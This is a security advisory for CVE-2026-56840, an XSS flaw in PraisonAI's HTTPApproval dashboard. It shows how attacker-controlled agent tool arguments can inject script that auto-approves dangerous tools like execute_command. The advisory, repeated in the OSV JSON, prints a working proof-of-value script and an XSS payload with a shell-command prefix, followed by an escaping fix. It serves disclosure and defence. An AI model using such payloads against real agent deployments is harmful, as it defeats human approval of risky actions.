CVE-2026-56840: PraisonAI Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-63v4-w882-g4x2
CVSS 8.8
CWE-79
Published
Advisory Summary

CVE-2026-56840 is a HIGH (CVSS 8.8) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves httpapproval dashboard renders tool arguments as raw html, allowing approval-page xss to approve dangerous tools. Remediation is available by upgrading affected packages to version 4.6.59.

CVE-2026-56840 at a Glance

CVE Identifier CVE-2026-56840
GHSA Identifier GHSA-63v4-w882-g4x2
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-56840

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.59
pip install praisonai>=4.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-56840, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.59), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools ## Summary `praisonai.bots.HTTPApproval` renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's `/approve/{request_id}/decide` endpoint, causing `HTTPApproval` to return `approved=True`. The local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at the approval decision. It does not execute the command. ## Affected Versions Proposed affected range: `>= 4.5.2, <= 4.6.57`. Validated affected: - current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` (`v4.6.57-4-g2f9677ab`) - `v4.5.2` - `v4.5.3` - `v4.5.124` - `v4.5.126` - `v4.5.128` - `v4.6.10` - `v4.6.56` - `v4.6.57` `v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend. ## Impact An attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny. This bypasses the human-in-the-loop approval boundary for dangerous tools such as `execute_command`, `execute_code`, `delete_file`, or other tools gated through `HTTPApproval`. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process. ## Why This Is Not Intended Behavior PraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists `http` as a supported non-console approval backend. Opening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action. This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned `src/praisonai/api.py` and missing `nh3` sanitization in older versions. This report concerns the `HTTPApproval` dashboard sink and remains present in current head. ## Root Cause In `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the approval page with raw f-string interpolation: - argument keys and values are appended to `args_html` without HTML escaping; - `tool_name`, `risk_level`, and `agent_name` are also interpolated into the returned HTML; - the generated page contains same-origin JavaScript that posts to `/approve/{request_id}/decide`. `_handle_decide()` accepts JSON from that endpoint and marks the pending request approved when `decision == "approve"`. Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from `location.pathname`. ## Reproduction The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where `praisonai` and `praisonaiagents` import from the candidate version. ```python import asyncio import json import socket import aiohttp from praisonai.bots._http_approval import HTTPApproval from praisonaiagents.approval.protocols import ApprovalRequest def free_port(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] payload = ( "touch /tmp/prai010 # " "</code><script>" "fetch(location.pathname+'/decide',{" "method:'POST',headers:{'Content-Type':'application/json'}," "body:'{\"decision\":\"approve\"}'})" "</script><code>" ) async def main(): backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5) request = ApprovalRequest( tool_name="execute_command", arguments={"command": payload}, risk_level="critical", agent_name="pov-agent", ) task = asyncio.create_task(backend.request_approval(request)) request_id = "" for _ in range(100): if backend._pending: request_id = next(iter(backend._pending)) break await asyncio.sleep(0.05) assert request_id url = f"http://127.0.0.1:{backend._port}/approve/{request_id}" async with aiohttp.ClientSession() as session: async with session.get(url) as response: page = await response.text() raw_script_present = "<script>fetch(location.pathname+'/decide'" in page script_not_html_escaped = "&lt;script" not in page payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page payload_not_truncated = "..." not in page[ page.find("<script>"):page.find("<script>") + len(payload) + 10 ] assert raw_script_present assert script_not_html_escaped assert payload_not_truncated # Same request the injected same-origin script submits. async with session.post(f"{url}/decide", json={"decision": "approve"}) as response: post_body = await response.text() decision = await task await backend.shutdown() print(json.dumps({ "payload_len": len(payload), "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": raw_script_present, "script_not_html_escaped": script_not_html_escaped, "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint, "payload_not_truncated": payload_not_truncated, "post_body": post_body, "decision_approved": decision.approved, "decision_reason": decision.reason, "vulnerable": bool( raw_script_present and script_not_html_escaped and payload_uses_same_origin_decide_endpoint and payload_not_truncated and decision.approved ), }, indent=2)) asyncio.run(main()) ``` Expected affected output includes: ```json { "payload_len": 175, "payload_shell_prefix": "touch /tmp/prai010", "raw_script_present": true, "script_not_html_escaped": true, "payload_uses_same_origin_decide_endpoint": true, "payload_not_truncated": true, "decision_approved": true, "vulnerable": true } ``` The relevant injected argument shape is: ```text touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code> ``` The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool. ## Suggested Fix Escape every untrusted value before inserting it into the approval HTML: - `tool_name` - `risk_level` - `agent_name` - every argument key - every argument value For example, use `html.escape(str(value), quote=True)` or a template engine that auto-escapes by default. Add regression tests that include `</code><script>...` in tool arguments and assert that the rendered page contains escaped text, not a script element. Minimal patch shape: ```python from html import escape def h(value: object) -> str: return escape(str(value), quote=True) tool_name = h(info.get("tool_name", "unknown")) risk_level = h(info.get("risk_level", "unknown")) agent_name = h(info.get("agent_name", "")) args_html = "" for k, v in arguments.items(): val_str = str(v) if len(val_str) > 200: val_str = val_str[:197] + "..." args_html += ( f"<tr><td><code>{h(k)}</code></td>" f"<td><code>{h(val_str)}</code></td></tr>" ) ``` Additional hardening: - avoid inline JavaScript and add a restrictive Content Security Policy; - keep the request id as an unguessable capability, but do not rely on it as an XSS defense; - consider requiring a per-request decision token outside attacker-controlled rendered argument fields.

CVE-2026-56840 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
≥ 4.5.2
< 4.6.59
4.6.59

References

Frequently Asked Questions

What is CVE-2026-56840?
CVE-2026-56840 is a security vulnerability in PraisonAI involving HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.59 across affected packages: praisonai.
What version fixes CVE-2026-56840?
Upgrading to 4.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.59. Upgrade your dependency to 4.6.59 or later.
What is the CVSS score of CVE-2026-56840?
CVE-2026-56840 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-56840?
CVE-2026-56840 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for CVE-2026-56840?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-63v4-w882-g4x2",
  "modified" : "2026-07-20T21:23:51Z",
  "published" : "2026-06-18T13:52:59Z",
  "aliases" : [ "CVE-2026-56840" ],
  "summary" : "PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools",
  "details" : "# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools\n\n## Summary\n\n`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly\ninto the approval dashboard HTML. An attacker-controlled tool argument can\ninject JavaScript into that page. When a human opens the approval URL to inspect\nthe risky tool request, the script runs in the dashboard origin and can POST to\nthe same request's `/approve/{request_id}/decide` endpoint, causing\n`HTTPApproval` to return `approved=True`.\n\nThe local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at\nthe approval decision. It does not execute the command.\n\n## Affected Versions\n\nProposed affected range: `>= 4.5.2, <= 4.6.57`.\n\nValidated affected:\n\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n  (`v4.6.57-4-g2f9677ab`)\n- `v4.5.2`\n- `v4.5.3`\n- `v4.5.124`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n\n`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.\n\n## Impact\n\nAn attacker who can influence an agent task or prompt enough to produce a\ndangerous tool call can embed a short XSS payload in the tool argument. When the\nhuman approver opens the HTTP approval page, the script can approve the pending\ndangerous tool call before the human explicitly clicks Approve or Deny.\n\nThis bypasses the human-in-the-loop approval boundary for dangerous tools such\nas `execute_command`, `execute_code`, `delete_file`, or other tools gated\nthrough `HTTPApproval`. If the agent continues after approval, the dangerous\ntool runs with the privileges of the PraisonAI process.\n\n## Why This Is Not Intended Behavior\n\nPraisonAI documentation describes approval as a safety control that pauses an\nagent before risky tools and asks a human or configured channel to allow or deny\nexecution. The documentation also lists `http` as a supported non-console\napproval backend.\n\nOpening the approval page to inspect a risky command should not itself approve\nthe command. The current behavior allows attacker-controlled tool arguments to\nexecute script in the approval page and submit the approval action.\n\nThis is distinct from the previously published stored-XSS advisory for agent\noutput rendering. That advisory concerned `src/praisonai/api.py` and missing\n`nh3` sanitization in older versions. This report concerns the `HTTPApproval`\ndashboard sink and remains present in current head.\n\n## Root Cause\n\nIn `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the\napproval page with raw f-string interpolation:\n\n- argument keys and values are appended to `args_html` without HTML escaping;\n- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the\n  returned HTML;\n- the generated page contains same-origin JavaScript that posts to\n  `/approve/{request_id}/decide`.\n\n`_handle_decide()` accepts JSON from that endpoint and marks the pending request\napproved when `decision == \"approve\"`.\n\nBecause the approval page is generated from the pending request's unescaped tool\narguments, an injected script can call the same endpoint that the legitimate\nApprove button uses. The request id is unguessable, but the script runs inside\nthe loaded approval page and can derive the endpoint from `location.pathname`.\n\n## Reproduction\n\nThe PoV is local-only and does not execute the dangerous tool command. Run it\nfrom a PraisonAI checkout or environment where `praisonai` and\n`praisonaiagents` import from the candidate version.\n\n```python\nimport asyncio\nimport json\nimport socket\n\nimport aiohttp\nfrom praisonai.bots._http_approval import HTTPApproval\nfrom praisonaiagents.approval.protocols import ApprovalRequest\n\n\ndef free_port():\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n        sock.bind((\"127.0.0.1\", 0))\n        return sock.getsockname()[1]\n\n\npayload = (\n    \"touch /tmp/prai010 # \"\n    \"</code><script>\"\n    \"fetch(location.pathname+'/decide',{\"\n    \"method:'POST',headers:{'Content-Type':'application/json'},\"\n    \"body:'{\\\"decision\\\":\\\"approve\\\"}'})\"\n    \"</script><code>\"\n)\n\n\nasync def main():\n    backend = HTTPApproval(host=\"127.0.0.1\", port=free_port(), timeout=5)\n    request = ApprovalRequest(\n        tool_name=\"execute_command\",\n        arguments={\"command\": payload},\n        risk_level=\"critical\",\n        agent_name=\"pov-agent\",\n    )\n    task = asyncio.create_task(backend.request_approval(request))\n\n    request_id = \"\"\n    for _ in range(100):\n        if backend._pending:\n            request_id = next(iter(backend._pending))\n            break\n        await asyncio.sleep(0.05)\n    assert request_id\n\n    url = f\"http://127.0.0.1:{backend._port}/approve/{request_id}\"\n    async with aiohttp.ClientSession() as session:\n        async with session.get(url) as response:\n            page = await response.text()\n        raw_script_present = \"<script>fetch(location.pathname+'/decide'\" in page\n        script_not_html_escaped = \"&lt;script\" not in page\n        payload_uses_same_origin_decide_endpoint = \"fetch(location.pathname+'/decide'\" in page\n        payload_not_truncated = \"...\" not in page[\n            page.find(\"<script>\"):page.find(\"<script>\") + len(payload) + 10\n        ]\n        assert raw_script_present\n        assert script_not_html_escaped\n        assert payload_not_truncated\n\n        # Same request the injected same-origin script submits.\n        async with session.post(f\"{url}/decide\", json={\"decision\": \"approve\"}) as response:\n            post_body = await response.text()\n\n    decision = await task\n    await backend.shutdown()\n    print(json.dumps({\n        \"payload_len\": len(payload),\n        \"payload_shell_prefix\": \"touch /tmp/prai010\",\n        \"raw_script_present\": raw_script_present,\n        \"script_not_html_escaped\": script_not_html_escaped,\n        \"payload_uses_same_origin_decide_endpoint\": payload_uses_same_origin_decide_endpoint,\n        \"payload_not_truncated\": payload_not_truncated,\n        \"post_body\": post_body,\n        \"decision_approved\": decision.approved,\n        \"decision_reason\": decision.reason,\n        \"vulnerable\": bool(\n            raw_script_present\n            and script_not_html_escaped\n            and payload_uses_same_origin_decide_endpoint\n            and payload_not_truncated\n            and decision.approved\n        ),\n    }, indent=2))\n\n\nasyncio.run(main())\n```\n\nExpected affected output includes:\n\n```json\n{\n  \"payload_len\": 175,\n  \"payload_shell_prefix\": \"touch /tmp/prai010\",\n  \"raw_script_present\": true,\n  \"script_not_html_escaped\": true,\n  \"payload_uses_same_origin_decide_endpoint\": true,\n  \"payload_not_truncated\": true,\n  \"decision_approved\": true,\n  \"vulnerable\": true\n}\n```\n\nThe relevant injected argument shape is:\n\n```text\ntouch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{\"decision\":\"approve\"}'})</script><code>\n```\n\nThe shell prefix demonstrates that the same argument can be executable shell\nsyntax after approval; the PoV stops before executing the tool.\n\n## Suggested Fix\n\nEscape every untrusted value before inserting it into the approval HTML:\n\n- `tool_name`\n- `risk_level`\n- `agent_name`\n- every argument key\n- every argument value\n\nFor example, use `html.escape(str(value), quote=True)` or a template engine that\nauto-escapes by default. Add regression tests that include `</code><script>...`\nin tool arguments and assert that the rendered page contains escaped text, not a\nscript element.\n\nMinimal patch shape:\n\n```python\nfrom html import escape\n\n\ndef h(value: object) -> str:\n    return escape(str(value), quote=True)\n\n\ntool_name = h(info.get(\"tool_name\", \"unknown\"))\nrisk_level = h(info.get(\"risk_level\", \"unknown\"))\nagent_name = h(info.get(\"agent_name\", \"\"))\n\nargs_html = \"\"\nfor k, v in arguments.items():\n    val_str = str(v)\n    if len(val_str) > 200:\n        val_str = val_str[:197] + \"...\"\n    args_html += (\n        f\"<tr><td><code>{h(k)}</code></td>\"\n        f\"<td><code>{h(val_str)}</code></td></tr>\"\n    )\n```\n\nAdditional hardening:\n\n- avoid inline JavaScript and add a restrictive Content Security Policy;\n- keep the request id as an unguessable capability, but do not rely on it as an\n  XSS defense;\n- consider requiring a per-request decision token outside attacker-controlled\n  rendered argument fields.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.5.2"
      }, {
        "fixed" : "4.6.59"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.6.58"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-63v4-w882-g4x2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T13:52:59Z",
    "nvd_published_at" : null
  }
}